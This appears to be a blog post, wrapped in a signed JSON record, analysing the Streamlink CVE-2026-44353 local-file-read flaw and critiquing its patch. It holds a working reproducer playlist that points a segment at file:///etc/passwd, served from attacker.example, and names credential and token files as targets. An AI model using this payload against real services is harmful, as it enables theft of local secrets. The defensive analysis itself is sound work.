-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The parser asks whether a scheme is present. It does not ask which one.\n\nThe complete pre-patch implementation of `M3U8Parser.uri`, in `src/streamlink/stream/hls/m3u8.py`, is four lines:\n\n```python\ndef uri(self, uri: str) -> str:\n if uri and urlparse(uri).scheme:\n return uri\n elif uri and self.m3u8.uri:\n return urljoin(self.m3u8.uri, uri)\n else:\n return uri\n```\n\n`uri()` is the resolver every URI in an HLS playlist passes through. It is called from `parse_tag_ext_x_key` for the `URI` attribute of `#EXT-X-KEY`, from `parse_tag_ext_x_map` for the `URI` of `#EXT-X-MAP`, from `parse_tag_ext_x_media` for the `URI` of `#EXT-X-MEDIA` alternative renditions, from `parse_tag_ext_x_i_frame_stream_inf` for the `URI` of an I-frame variant playlist, from the segment-line handler at `self.get_segment(self.uri(line))`, and from the sub-playlist handler at `self.get_playlist(self.uri(line))`. The contract is the same in every case. Relative URIs are joined against the playlist's own URL. Absolute URIs are returned verbatim. Whether the absolute URI's scheme is one the parser expected does not enter the conversation.\n\n`urlparse` returns a non-empty `scheme` for `http`, `https`, `file`, `ftp`, `gopher`, `dict`, `data`, and any other RFC 3986-shaped string. The pre-patch parser passes them all to the rest of the pipeline.\n\nThe same shape lives in the DASH parser. `MPDNode.base_url` and the segment-template URL builder in `src/streamlink/stream/dash/manifest.py` both call `urljoin` against the parsed manifest's `_base_url` without consulting the scheme. A `file:///etc/` element in a `.mpd` is a valid URL that `urljoin` accepts and returns.\n\nThe minimal reproducer the advisory ships is a six-line playlist:\n\n```\n#EXTM3U\n#EXT-X-VERSION:3\n#EXTINF:5.0,\nfile:///etc/passwd\n#EXT-X-ENDLIST\n```\n\nServed from any HTTP host the attacker controls. The victim runs `streamlink http://attacker.example/playlist.m3u8 best -o output.ts`, and `output.ts` ends with the contents of the local `/etc/passwd`. The work the parser does on that segment line is `urlparse(\"file:///etc/passwd\").scheme == \"file\"`, truthy, return the string unchanged. The rest of the chain runs as if it were any other absolute URL.\n\n## The FileAdapter is mounted because local playlists are a feature.\n\nThe reason `file:///etc/passwd` becomes an actual file read, rather than a `requests` exception, is in `HTTPSession.__init__`, at `src/streamlink/session/http.py`:\n\n```python\nclass HTTPSession(Session):\n def __init__(self):\n super().__init__()\n\n self.headers[\"User-Agent\"] = useragents.DEFAULT\n self.timeout = 20.0\n\n self.mount(\"file://\", FileAdapter())\n```\n\n`FileAdapter` is a vendored copy of the `requests-file` package, kept in-tree at `src/streamlink/packages/requests_file.py`. Its `send()` method parses the URL, opens the path with `io.open(path, \"rb\")`, and hands the file object back as `Response.raw`:\n\n```python\nresp.raw = io.open(path, \"rb\")\nresp.raw.release_conn = resp.raw.close\n```\n\nStreamlink's segmented-stream reader iterates `Response.raw` and writes the bytes to whatever output the user selected with `-o`, `--stdout`, or a configured player. There is no transform between the file's bytes and the output stream's bytes; the local file's contents become the \"stream.\"\n\nThe `requests` library does not ship a `file://` adapter by default. The Python ecosystem made that choice on purpose: a library positioned to fetch HTTP should not silently read the local filesystem when somebody passes it a URL string. Streamlink overrides the default because Streamlink has a use case `requests` does not. The CLI accepts `streamlink file:///path/to/archive.m3u8 best` for power users replaying archived streams, the test suite feeds local fixtures through the production fetch path, and several plugins exercise it for offline parsing.\n\nRemoving the adapter is not on the table. The feature is in use.\n\nWhat the parser was never told is that the session it hands segment URIs to is the same session that mounts the adapter. The parser builds a string. The session looks the string up in its adapter table. The adapter the parser did not know was mounted services every URI whose scheme matches the adapter's prefix. The trust boundary that should have lived in the parser, \"what is this playlist allowed to reference,\" lived nowhere.\n\n## The patch is a downgrade detector, not an allowlist.\n\nThe fix lands in three commits. The first adds a utility, `is_insecure_scheme`, to `src/streamlink/utils/url.py`:\n\n```python\ndef is_insecure_scheme(current_scheme: str, target_scheme: str) -> bool:\n return (\n target_scheme == \"file\" and current_scheme != \"file\"\n or target_scheme == \"http\" and current_scheme == \"https\"\n )\n```\n\nThe second wires it into the m3u8 parser. `M3U8Parser.__init__` records the base URI's scheme on the parser instance:\n\n```python\nself._scheme = urlparse(base_uri).scheme if base_uri else None\n```\n\n`uri()` consults it on every absolute URI it sees:\n\n```python\ndef uri(self, uri: str) -> str:\n if uri and (scheme := urlparse(uri).scheme):\n base_scheme = self._scheme\n if not base_scheme or is_insecure_scheme(base_scheme, scheme):\n raise ValueError(f\"Prevented access to insecure resource in playlist: {base_scheme=!r} {scheme=!r}\")\n return uri\n elif uri and self.m3u8.uri:\n return urljoin(self.m3u8.uri, uri)\n else:\n return uri\n```\n\nThe third applies the same comparison to the DASH `BaseURL` resolver and to a new `_MultipleSegmentBaseType.make_url` static method that all segment-URL constructors route through.\n\n`is_insecure_scheme` returns `True` in exactly two cases. First, target scheme `file` when the playlist's own scheme is anything other than `file`. That closes the CVE: an `http://` or `https://` playlist can no longer reference a `file://` segment. Second, target scheme `http` when the playlist's own scheme is `https`. That closes the obvious downgrade an MitM might want, swapping the next segment URL to plaintext HTTP.\n\nThe shape is \"no scheme below the floor the playlist's own scheme establishes.\" That shape is not an allowlist.\n\nThe test the patch ships with makes the design intent visible. From `tests/utils/test_url.py`:\n\n```python\n@pytest.mark.parametrize(\n (\"current_scheme\", \"target_scheme\", \"expected\"),\n [\n (\"http\", \"\", False),\n (\"https\", \"\", False),\n (\"file\", \"\", False),\n (\"http\", \"http\", False),\n (\"http\", \"https\", False),\n (\"https\", \"https\", False),\n (\"https\", \"http\", True),\n (\"file\", \"file\", False),\n (\"http\", \"file\", True),\n (\"https\", \"file\", True),\n ],\n)\ndef test_is_insecure_scheme(current_scheme, target_scheme, expected):\n ...\n```\n\n`http` to `file`, `https` to `file`, and `https` to `http` are the three rows that assert `True`. Every other transition the parametrization enumerates returns `False`. `file` to `file` is explicitly preserved, that is the local-playlist-with-local-segments use case the FileAdapter is mounted for. Everything else passes silently. Schemes outside `{http, https, file, \"\"}` are not exercised at all; the function's only test against them is the literal string comparison `target_scheme == \"file\"`, which is false for anything that is not the literal `\"file\"`.\n\nWalk through what still passes when a remote attacker controls the playlist:\n\n- `http://playlist` references `data:text/plain;base64,XXX` segment. `target_scheme == \"data\"`. Neither branch of `is_insecure_scheme` fires. Allowed by the parser.\n- `http://playlist` references `gopher://host/_segment`. Allowed.\n- `http://playlist` references `ftp://host/segment.ts`. Allowed.\n- `http://playlist` references `dict://host/word`. Allowed.\n\nIn practice these do nothing useful today because Streamlink's `HTTPSession` mounts no adapter for them, and `requests` raises `requests.exceptions.InvalidSchema` at fetch time. The CVE-2026-44353 chain worked because Streamlink mounted `FileAdapter` and forgot to gate the parser. The patch corrects the gate at the parser. The set of schemes the gate considers \"safe\" is whatever happens not to be mounted as an adapter on the session today.\n\n`grep -rn \"self.mount(\" src/streamlink/` returns one site, the `file://` mount in `HTTPSession.__init__`. The current safe set, by the patch's definition, is \"everything except `file://`.\" A plugin or a future feature that mounts a second adapter, the obvious candidates are `data://` for inline test playlists, `ssh://` for SFTP-backed archive fetching, an in-process `cache://` scheme for warm restarts, would reopen the same class for the new scheme without touching the m3u8 parser. The patch did not install an allowlist. The patch installed a comparison against a single field the parser already had.\n\n## The realistic exposure is anything that runs Streamlink on a URL it does not own.\n\nThe CVE description and the GHSA advisory model the victim as a user who pipes a malicious URL into the `streamlink` binary on their own workstation. That is the cleanest reproducer. It is also the case where the user has the smallest practical incentive to point Streamlink at a URL they do not control.\n\nStreamlink is library code as much as CLI. It runs inside Discord bots that record streams on submission and post the recording back to a channel, IPTV middleware that ingests user-submitted channel lists, archival services that fetch HLS by URL on schedule, transcoding pipelines that pre-process a stream before re-publishing it, home-server NAS frontends that pull from any URL the operator pastes, and headless CI jobs that smoke-test playlist availability. Every one of those is a long-running service that accepts a URL from a less-trusted caller, runs `streamlink.streams(url)` or `HLSStream.parse_variant_playlist(session, url)` against it, and writes the resulting bytes somewhere reachable: a Discord channel, a CDN bucket, a database row, a downstream consumer.\n\nFor those deployments, CVE-2026-44353 reads as \"any client who can submit a URL to your Streamlink service can read any file the service has read access to.\" The Streamlink config and any plugin's persisted state, the host's `/etc/passwd`, AWS credentials at `~/.aws/credentials` if the service runs as a user with one, a Kubernetes service-account token at `/var/run/secrets/kubernetes.io/serviceaccount/token`, the recording bot's own bot-token file. The threat model the operator was given by the upstream library did not include URIs the parser would happily forward to `FileAdapter`, because the library did not include that case in its own threat model either.\n\n## Convention is the allowlist.\n\nThe HLS RFC implies segment URIs are HTTP or HTTPS through every context in which the spec exercises them. It does not formally constrain them. Streamlink's m3u8 parser implemented exactly what the spec's grammar permits and trusted the implication to do the constraining work. The implication did not.\n\nThat is the shape this post is filed under: convention is the allowlist. Specs imply value sets through example and downstream-consumer assumption; implementations read at the syntactic type the grammar admits. The two readings of the same field disagree, and the disagreement is the bug class. Streamlink's m3u8 segment URI is one instance. JWT's `alg` field admitting `none` is another. HTTP Host header validation against a vhost table that does not enforce IDN normalisation is another. The patch in each case narrows the implementation against the local context the maintainer can see today; the convention remains the only thing keeping tomorrow's adjacent feature from re-opening the class.\n\nThe FileAdapter is mounted because local playlists are a feature. The parser was never told that not every playlist is local.\n\nPoC and advisory: [GHSA-hgqw-6m45-hw5f](https://github.com/advisories/GHSA-hgqw-6m45-hw5f).","closing_line":"The patch closes `file://`. Streamlink's safe-scheme allowlist is still whatever `requests` adapters are not mounted today.","hook_md":"Streamlink 8.3.0 and earlier ship an m3u8 parser whose entire check on segment URIs is one conditional. `if uri and urlparse(uri).scheme: return uri`. The parser asks whether the URI has a scheme. It does not ask which one.\n\nEvery Streamlink `HTTPSession` mounts a `FileAdapter` at construction time, because the CLI has supported local `file://` playlists for years and the feature is in use. The parser was never told that not every playlist is local. CVE-2026-44353 is the local-file read that lives in the gap: a remote HLS playlist hosted at `http://attacker.example/playlist.m3u8` lists `file:///etc/passwd` as a segment, and the same session that fetched the playlist over HTTP services the file read through the adapter that was mounted for somebody else's use case.","post_id":531,"slug":"streamlink-cve-2026-44353-fileadapter-mounted-parser-not-told","title":"CVE-2026-44353: Streamlink Mounts a FileAdapter on Every Session. The m3u8 Parser Was Never Told.","type":"initial","unreadable_sentence":"The FileAdapter is mounted because local playlists are a feature. The parser was never told that not every playlist is local."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaweTNwAKCRDeZjl4jgkQ JtGQAQDc/u4mwtlYZ4UdoYVST3Xi+ZlIKPF64F2m0sAsJIAhwwEAj9lL510KrtpX 5UFFIHy6/yNrGpDKml/1QGhINd308wc= =r1A5 -----END PGP SIGNATURE-----